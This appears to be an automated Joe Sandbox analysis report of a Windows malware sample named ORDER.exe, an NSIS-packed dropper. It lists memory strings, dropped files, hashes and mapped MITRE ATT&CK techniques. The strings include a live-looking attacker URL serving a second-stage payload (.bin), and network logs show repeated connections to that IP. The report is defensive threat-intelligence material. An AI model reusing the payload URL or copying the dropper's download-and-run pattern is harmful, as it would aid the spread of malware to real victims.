Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: ^A2
API String ID: 3446177414-2229306465
Opcode ID: 453626b4b12dcab7747cc9676872cd8d93382a7be98efe3df5ae9a018311c52e
Instruction ID: 82c6f778802b8eedd35be2f8585151fc3142a38050494342b61ee5ebaac0cbe6
Opcode Fuzzy Hash: 453626b4b12dcab7747cc9676872cd8d93382a7be98efe3df5ae9a018311c52e
Instruction Fuzzy Hash: 5C417CB9A00201DFDB15CF2AC4845557BE6FF99B50B94806AEC098B361DB71F991CBA0

Function 3241E880 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3241E900

Strings

A2, xrefs: 3241E8D3, 3241E8E7, 3241E8D6, 3241E8F7
mA2, xrefs: 3241E8F3

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: A2$mA2
API String ID: 3446177414-3008304424
Opcode ID: f07ed0b32ad8a5280ed3e407d7a422244492bbf8a595e4736706b7be92109fa3
Instruction ID: ad48414c8b8e1d00b14d01428897ec2215831b30d55c0e69aa9b33a742747518
Opcode Fuzzy Hash: f07ed0b32ad8a5280ed3e407d7a422244492bbf8a595e4736706b7be92109fa3
Instruction Fuzzy Hash: 9F11C3B6A01208AFDF11CF98D985ADEBBB8FF4C360F10401AF911B7244D775AA54CBA0

Source: ORDER.exe, 00000003.00000002.32870989524.0000000002310000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32255056072.0000000002321000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516640693.0000000002321000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.0000000002310000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32254813697.000000000231F000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000002.32870989524.0000000002321000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.150.19.141/
Source: ORDER.exe, 00000003.00000002.32870989524.00000000022EE000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.00000000022ED000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000002.32871623995.00000000024B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.bin
Source: ORDER.exe, 00000003.00000002.32870989524.00000000022EE000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.00000000022ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.bin8
Source: ORDER.exe, 00000003.00000002.32870989524.00000000022EE000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.00000000022ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.binP
Source: ORDER.exe, 00000003.00000002.32870989524.00000000022EE000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.00000000022ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.binj
Source: ORDER.exe, 00000003.00000002.32870989524.00000000022EE000.00000004.00000020.00020000.00000000.sdmp, ORDER.exe, 00000003.00000003.32516873617.00000000022ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.150.19.141/ZngvhChQIdIscdxVPVXD182.bint
Source: ORDER.exe, 00000003.00000001.32174271412.0000000000649000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.
Source: ORDER.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: ORDER.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: ORDER.exe, 00000003.00000001.32174271412.0000000000649000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.gopher.ftp://ftp.
Source: ORDER.exe, 00000003.00000001.32174271412.0000000000626000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD
Source: ORDER.exe, 00000003.00000001.32174271412.00000000005F2000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: ORDER.exe, 00000003.00000001.32174271412.00000000005F2000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: ORDER.exe, 00000003.00000001.32174271412.0000000000649000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214

Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141
Source: unknown	TCP traffic detected without corresponding DNS query: 107.150.19.141

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ORDER.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Igor.Sib

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Praksissernes.kra

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Ufornuft.Dem

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\dev.med

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\hverdagsagtiges.afh

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\stenhuggeriernes.txt

C:\Users\user\AppData\Local\Temp\nsc6265.tmp

C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp

C:\Users\user\AppData\Local\Temp\nsi5757.tmp

C:\Users\user\AppData\Local\Temp\nsm3B50.tmp

C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsw2DA3.tmp

C:\Users\user\AppData\Local\Temp\nsy4C3A.tmp

C:\Users\Public\Videos\Besiddetrang.lnk

Static File Info

General

Windows Analysis Report
ORDER.exe

Function 00403217 Relevance: 79.1, APIs: 27, Strings: 18, Instructions: 337
stringfilecomCOMMON

Function 0040515D Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405D58 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Function 004055F6 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00403B19 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 00403787 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00402C79 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 0040173F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 0040501F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 0040231C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
COMMON

Function 004059F6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 0040303A Relevance: 6.1, APIs: 4, Instructions: 108
fileCOMMON

Function 00401F68 Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON